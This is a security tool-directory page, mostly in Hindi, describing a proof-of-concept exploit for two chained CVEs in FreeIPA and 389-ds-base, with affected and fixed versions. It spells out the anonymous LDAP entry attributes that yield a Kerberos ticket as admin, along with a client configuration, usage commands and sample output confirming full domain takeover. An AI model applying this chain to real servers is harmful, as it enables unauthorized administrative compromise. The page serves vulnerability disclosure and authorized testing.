Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-76578 — CVE-2026-76578 और CVE-2026-76560 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो FreeIPA डोमेन एडमिन अधिकार प्राप्त करने के लिए अनाम LDAP ADD को 389-ds SELFDN बायपास के साथ चेन करता है। | Kitploit
उपकरण/GitHubGitHub/brainbob/cve-2026-76578
पहचान प्रबंधनभेद्यता विश्लेषणशोषणपेनिट्रेशन टेस्टिंगप्रमाणीकरणपेपर और शोधरेड टीमिंगलैब और अभ्यास
GitHubbrainbob/cve-2026-76578

CVE-2026-76578

CVE-2026-76578 और CVE-2026-76560 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो FreeIPA डोमेन एडमिन अधिकार प्राप्त करने के लिए अनाम LDAP ADD को 389-ds SELFDN बायपास के साथ चेन करता है।

रिपॉजिटरी देखें
2521 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-76578 — FreeIPA अनामिक एडमिन टेकओवर

उत्पाद: FreeIPA 4.9.x – 4.13.3
गंभीरता: क्रिटिकल (CVSS 9.8)
ठीक किया गया: FreeIPA 4.13.4 / 389-ds-base 3.2.0-10.el10_2 (RHSA-2026:64785)


कानूनी सूचना

यह प्रूफ-ऑफ-कॉन्सेप्ट विशेष रूप से एक पृथक, निजी स्वामित्व वाले लैब वातावरण के भीतर अधिकृत सुरक्षा अनुसंधान और भेद्यता सत्यापन के उद्देश्य से विकसित और निष्पादित किया गया था।

इस स्क्रिप्ट का उपयोग करने से पहले:

  • केवल उन सिस्टमों के विरुद्ध उपयोग करें जिनका आप स्वामित्व रखते हैं या जिनका परीक्षण करने के लिए आपको स्पष्ट रूप से अधिकृत किया गया है
  • निष्पादन से पहले सत्यापित करें कि लक्ष्य वातावरण और दायरा आपके एंगेजमेंट नियमों से मेल खाता है

लेखक दुरुपयोग के लिए कोई दायित्व स्वीकार नहीं करते। यह कोड केवल रक्षात्मक अनुसंधान और अधिकृत पेनेट्रेशन परीक्षण के लिए प्रदान किया गया है।

पोर्टेबिलिटी पर नोट: यह स्क्रिप्ट नीचे दिए गए Test Environment अनुभाग में सूचीबद्ध विशिष्ट पैकेज संस्करणों के विरुद्ध मान्य की गई थी। अन्य OS संस्करणों, पैच स्तरों, या गैर-डिफ़ॉल्ट FreeIPA कॉन्फ़िगरेशन पर व्यवहार भिन्न हो सकता है। उत्पादन लक्ष्य के बारे में निष्कर्ष निकालने से पहले हमेशा एक नियंत्रित वातावरण में परिणामों को स्वतंत्र रूप से सत्यापित करें।


परीक्षण वातावरण

पैरामीटरमान
OSFedora 44 (x86_64)
FreeIPAfreeipa-server-4.13.1-9.fc44
389-ds-base389-ds-base-3.2.0-15.fc44
MIT Kerberoskrb5-libs-1.21.x
RealmTEST.LOCAL
Domaintest.local
Server IP192.168.1.11
Hostnameipa-master.test.local
Attack hostKali Linux (external, no domain membership)

भेद्यता सारांश

एक अनामिक LDAP क्लाइंट cn=otp के अंतर्गत एक OTP टोकन प्रविष्टि जोड़ सकता है और पूर्ण FreeIPA डोमेन एडमिनिस्ट्रेटर अधिकार प्राप्त कर सकता है। दो दोष मिलकर काम करते हैं:

CVE-2026-76578 (FreeIPA) — OTP ADD ACI में कोई targetattr प्रतिबंध नहीं है, इसलिए अनामिक ADD किसी भी एट्रिब्यूट को शामिल कर सकता है: krbPrincipalAux, krbCanonicalName, userPassword, krbLastPwdChange, आदि।

CVE-2026-76560 (389-ds-base) — SELFDN मूल्यांकनकर्ता "" (खाली स्ट्रिंग) को अनामिक बाइंड DN से मेल खाता हुआ मानता है, जिससे ipatokenOwner#SELFDN स्वामित्व जाँच बायपास हो जाती है।

शून्य-क्रेडेंशियल कुंजी निर्माण

महत्वपूर्ण अंतर्दृष्टि — कोई पूर्व-कैप्चर किया गया ब्लॉब नहीं, कोई मास्टर कुंजी एक्सेस आवश्यक नहीं:

प्रविष्टि में objectClass: inetOrgPerson + userPassword जोड़ने से 389-DS ipapwd प्लगइन ट्रिगर होता है जो स्वचालित रूप से सर्वर-साइड पर krbPrincipalKey उत्पन्न करता है, इसे लक्ष्य realm की krbMKey से एन्क्रिप्ट करता है। हमलावर एक प्लेनटेक्स्ट पासवर्ड प्रदान करता है; सर्वर आंतरिक रूप से Kerberos कुंजी प्राप्त करता है।

उसी ADD में krbLastPwdChange: 20200101000000Z (पिछली तारीख) सेट करने से krbMinPwdLife नीति बायपास हो जाती है जो अन्यथा kinit सफल होने से पहले इंटरैक्टिव पासवर्ड परिवर्तन की आवश्यकता होती।


CVE

CVEघटकविवरण
CVE-2026-76578FreeIPAOTP ACI में targetattr का अभाव — कोई भी एट्रिब्यूट अनामिक ADD से गुजरता है
CVE-2026-76560389-ds-baseSELFDN मूल्यांकनकर्ता "" को अनामिक बाइंड DN के रूप में स्वीकार करता है

हमला श्रृंखला

Anonymous LDAP ADD (port 389, zero credentials)
  ipatokenOwner: ""              ← CVE-2026-76560: SELFDN "" == anonymous DN
  objectClass: inetOrgPerson     ← enables userPassword attribute
  userPassword: PwnedPass1!      ← CVE-2026-76578: no targetattr restriction
  krbCanonicalName: admin@REALM  ← not in kerberos uniqueness plugin for cn=otp
  krbLastPwdChange: 20200101     ← bypass krbMinPwdLife policy
        ↓
  389-DS ipapwd: userPassword → krbPrincipalKey (server-side, target's krbMKey)
        ↓
kinit attacker@REALM → TGT: Default principal: admin@REALM
        ↓
GSSAPI bind → dn: uid=admin,cn=users,cn=accounts,…
        ↓
uid=admin ∈ cn=admins → full domain administrator

प्रभावित संस्करण

घटकभेद्यठीक किया गया
FreeIPA4.9.x – 4.13.34.13.4
389-ds-base (RHEL 10)< 3.2.0-10.el10_23.2.0-10.el10_2 (RHSA-2026:64785)
389-ds-base (RHEL 9)< patched buildsee corresponding advisory
389-ds-base (Fedora 44)3.2.0-15.fc44not patched at time of testing

आवश्यकताएँ

apt install python3-ldap krb5-user ldap-utils libsasl2-modules-gssapi-mit

/etc/hosts:

<target-ip>  ipa-master.test.local

/etc/krb5.conf — Level 3 के लिए canonicalize = true आवश्यक:

[libdefaults]
    default_realm = TEST.LOCAL
    canonicalize = true
    forwardable = true
    rdns = false

[realms]
    TEST.LOCAL = {
        kdc = ipa-master.test.local
    }

[domain_realm]
    .test.local = TEST.LOCAL
    test.local = TEST.LOCAL

उपयोग

python3 poc.py <target_ip> <ipa_hostname> <REALM>

# Test lab:
python3 poc.py 192.168.1.11 ipa-master.test.local TEST.LOCAL

# Other lab:
python3 poc.py 10.10.10.5 ipa.corp.local CORP.LOCAL

परिणाम

── TEST 1: Anonymous ADD — server-side krbPrincipalKey generation ───
  [+] ADD succeeded: ipatokenuniqueid=pwn-...,cn=otp,dc=test,dc=local
  [+] Server generated krbPrincipalKey from userPassword (ipapwd plugin)
  [+] TGT obtained — LEVEL 1 CONFIRMED
      Default principal: [email protected]

── TEST 2: GSSAPI LDAP bind ─────────────────────────────────────────
  [+] GSSAPI bind succeeded: dn: ipatokenuniqueid=pwn-...,cn=otp,...
  [+] LEVEL 2 CONFIRMED

── TEST 3: krbCanonicalName=admin collision ──────────────────────────
  [+] ADD with [email protected] succeeded
  [+] TGT obtained — ticket claims principal: [email protected]
  [+] TGT cname is admin — LEVEL 3 CONFIRMED
  [+] GSSAPI bind: dn: uid=admin,cn=users,cn=accounts,dc=test,dc=local
  [+] uid=admin is member of cn=admins — real admin rights confirmed

════════════════════════════════════════════════════════════
  CVE-2026-76578 — Result Summary
════════════════════════════════════════════════════════════
  Level 1 — Server-side krbPrincipalKey + TGT    [✓] CONFIRMED
  Level 2 — GSSAPI LDAP / Kerberos auth          [✓] CONFIRMED
  Level 3 — Real admin group membership           [✓] CONFIRMED

  Full zero-credential compromise chain reproduced.
  No pre-captured blob required.
════════════════════════════════════════════════════════════

तकनीकी नोट्स

सीधे krbPrincipalKey के बजाय userPassword क्यों

krbPrincipalKey लक्ष्य की krbMKey (मास्टर कुंजी) से एन्क्रिप्ट किया जाता है। मास्टर कुंजी LDAP में cn=REALM,cn=kerberos पर संग्रहीत होती है और केवल Directory Manager द्वारा पढ़ी जा सकती है — अनामिक रूप से नहीं, GSSAPI के माध्यम से uid=admin द्वारा भी नहीं।

मास्टर कुंजी के बिना सीधे krbPrincipalKey इंजेक्ट करना असंभव है। userPassword इंजेक्ट करना कुंजी निर्माण को सर्वर के ipapwd प्लगइन को सौंप देता है, जिसके पास krbMKey तक आंतरिक पहुँच होती है और यह एन्क्रिप्शन पारदर्शी रूप से करता है। ACI (CVE-2026-76578) userPassword को बिना किसी targetattr जाँच के गुजरने देता है।

krbCanonicalName टकराव क्यों काम करता है

kerberos uniqueness प्लगइन पूरे suffix में krbPrincipalName और krbPrincipalAlias पर विशिष्टता लागू करता है, लेकिन krbCanonicalName पर नहीं। cn=otp में krbCanonicalName: admin@REALM के साथ एक नई प्रविष्टि वास्तविक admin प्रिंसिपल से टकराती नहीं है।

क्लाइंट पर canonicalize = true के साथ, kinit attacker@REALM प्रविष्टि को krbPrincipalName द्वारा प्राप्त करता है, लेकिन KDC TGT को cname = krbCanonicalName = admin@REALM के साथ जारी करता है। GSSAPI इसे वास्तविक uid=admin DN पर हल करता है — जो पहले से ही cn=admins का वैध सदस्य है। कोई समूह संशोधन नहीं किया जाता।

krbMinPwdLife बायपास

जब userPassword जोड़ा जाता है, तो ipapwd krbPasswordExpiration को अभी (समाप्त) और krbLastPwdChange को अभी पर सेट करता है। डिफ़ॉल्ट krbMinPwdLife = 3600s के साथ, kinit TGT जारी करने से पहले पासवर्ड परिवर्तन के लिए संकेत देगा।

टूल डाउनलोड करें